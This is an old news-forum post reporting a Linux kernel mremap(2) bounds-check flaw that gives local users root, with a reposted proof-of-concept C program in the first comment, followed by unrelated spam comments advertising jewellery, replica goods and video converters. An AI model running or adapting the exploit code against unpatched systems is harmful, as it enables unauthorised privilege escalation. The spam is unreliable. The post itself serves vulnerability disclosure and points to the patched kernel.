| |
|
| |
 Local Linux Kernal Root Exploit
|
 |
| Posted by Freaky on 06 Jan 2004 - 01:50 21 comments |
| |
esm contributes: A new vulnerability has been discovered that allows local users the possability to gain root access to Linux machines running under kernal (2.2, 2.4, and 2.6) due to an incorrect bound check in mremap(2). Security administrators and those not wanting to get owned by local users should be advised there is a new version of the kernal (2.4.24) released that can circumvent this vulnerability. Proof of concept code in 'Add comment' section.
|
There are 21 comments, Post comment | View printable post | Open/Close Comments |
| Comment Replies
|
|
| #1 Posted by Freaky (24 posts) at 07 Jan 2004 - 21:42 |
|
|
Proof of concept code for the do_mremap() hack
$ cat mremap_poc.c
/*
* Proof-of-concept exploit code for do_mremap()
*
* Copyright (C) 2004 Christophe Devine and Julien Tinnes
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include
#include
#include
#include
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
int main( void )
{
void *base;
base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );
fork();
return( 0 );
}
--
Christophe Devine - http://www.cr0.net:8040/about/
http://www.securityfocus.com/archive/1/348947/2004-01-04/2004-01-10/0
|
 Hidden |
| #6 Posted by cousinlink (148 posts) at 22 Oct 2009 - 09:33 |
|
|
Lately, a selection of the most charming women conducted by professionals is published by the U.S. media, and Michelle Obama ranks on the top. links of london You should never surprise why so many charming creatures, such as Angelina Jolie and Gisele Bundchen, are left behind. links london Simple! Just think about the results if women as them are in the office. links of london And Michelle Obama may have no special features on her face and figure. Nevertheless, she has a talent on the fashion trend and matching of costume and bracelet. links of london With a view to her age, figure, status, and taste, it goes without saying that she is an ideal model for women in the middle class throughout the world. links of london As to the women in managing level, they also have their true jewellery icon at last. links of london Michelle Obama likes to wear pearls, as we all know, but you know what she also tries to terrace the jewels. For instance, she ever wore Cartier upon links of london, winning most women's compliments. links of london It is simply because lamination keeps the focus of attention and increases the sense of gradation. Under such luxurious and brilliant jewelries, she cannot be ignored by the public. links of london However, these links of london charms are mainly for women with certain abilities, capacity, qualities, and experience. links of london And they really need some diamond jewels to decorate themselves so as to stand out among women in the same circle. links of london As for these young ladies, diamond lamination may be too expensive. So the silver jewelries, such as links of london and Channel silver jewelries are right alternatives. links of london links of london V CharmPaying close attention to the first lady is to follow the fashion and enjoy happy life as office ladies.
|
| Hidden |
| #8 Posted by zxl14551 (221 posts) at 11 Nov 2009 - 10:17 |
|
|
Nice, I agree with you, thanks for your information, hope we can keep good cooperation, also I shared a good page, May be is used for you: Software Special Offer.
|
| Hidden |
| #9 Posted by zxl14551 (221 posts) at 11 Nov 2009 - 11:04 |
|
|
Nice, I agree with you, thanks for your information, hope we can keep good cooperation, also I shared a good page, May be is used for you: Software Special Offer.
|
| Hidden |
| #11 Posted by blackrabbit (631 posts) at 17 Nov 2009 - 08:25 |
|
|
Emicsoft DVD Ripper for Mac,the best Mac DVD ripper,is a professional DVD Ripping software for Mac users to convert and rip DVDs to Mac video formats and portable devices as iPod, iPhone, PSP,PS3,Blackberry etc. The powerful DVD ripper for Mac is perfect in converting/ripping DVD to FLV Mac,DVD to DivX Mac,DVD to MPEG Mac,DVD to MKV Mac, DVD to AVI Mac,DVD to MP4 Mac etc.If you want to rip DVD to other video on Mac,Emicsoft DVD Ripper for Mac is a wonderful tool to help you Rip DVD Mac
Let’s explore its powerful functions one by one:
1. Support outputting all video/audio formats such as AVI, MPEG-4, H.264/MPEG-4 AVC, MPEG-1, MPEG-2, MOV, MKV, FLV, 3GP, MP3, WAV, WMA, etc.
2. Work for popular devices: iPod, iPhone, Zune, PSP/PS3, Xbox, Wii, Pocket PC, mobile phone.
3. DVD 5 and DVD 9 supported.
4. Capture good pictures when previewing added video.
5. Reset start time and end time to extract certain segment of the file.
|
| Hidden |
| #12 Posted by mandy (233 posts) at 19 Nov 2009 - 06:05 |
|
|
We, Top10brand.com, are the most reliable online shopselling replica watches and replica handbags of famous brands.You will have a great experience to buy high quality cheap
replica watches|
cheap replica handbags, best looking wallets, fascinating belt and jewellery at thrillingly low price here.We carry a large variety of watch brands such as Replica
|
| Hidden |
| #17 Posted by Anner (11 posts) at 25 Dec 2009 - 22:24 |
|
|
Today I still want tell you something jewelry stores because Tiffany jewelry is also my favorite jewelry.
New customers can order samples to check tiffany jewelry our quality.
Mass-produced stock lots everyday, tiffany jewellery 98% items on our web are in stock now.
wholesale Inspired Tiffany tiffany jewelryjewelry, tiffany & co 925,sterling silver necklaces chains.
Unique tiffany and co earrings collection will be the perfect choice for those elegant and graceful ladies when attending some important occasions.
|
| Hidden |
| #20 Posted by wangli (37 posts) at 30 Jan 2010 - 04:57 |
|
|
RM Converter for Mac can convert rm, rmvb to mp4, mov, mpg, mpeg, flv, mkv, avi on Mac OS X.
Mac RM Converter supports to read, convert and edit .rm files in an easy and simple way. It can convert .rm to avi, mpg, mov, mp4, m4v, flv, 3gp, mp3, flac and AAC etc. with so much video/audio file can be written, there is no doubt they’ll work smoothly in your portable player, handheld computer and home network.
-----------------------
RM Converter || RM Converter for Mac || RM to WMV for Mac || Convert RM To iPod Mac || MKV Converter
|
| Hidden |
|
| Add Comment
|
|
Sorry, you cannot comment to this news post because you do not have permission to do so.
|
|
|
|
|
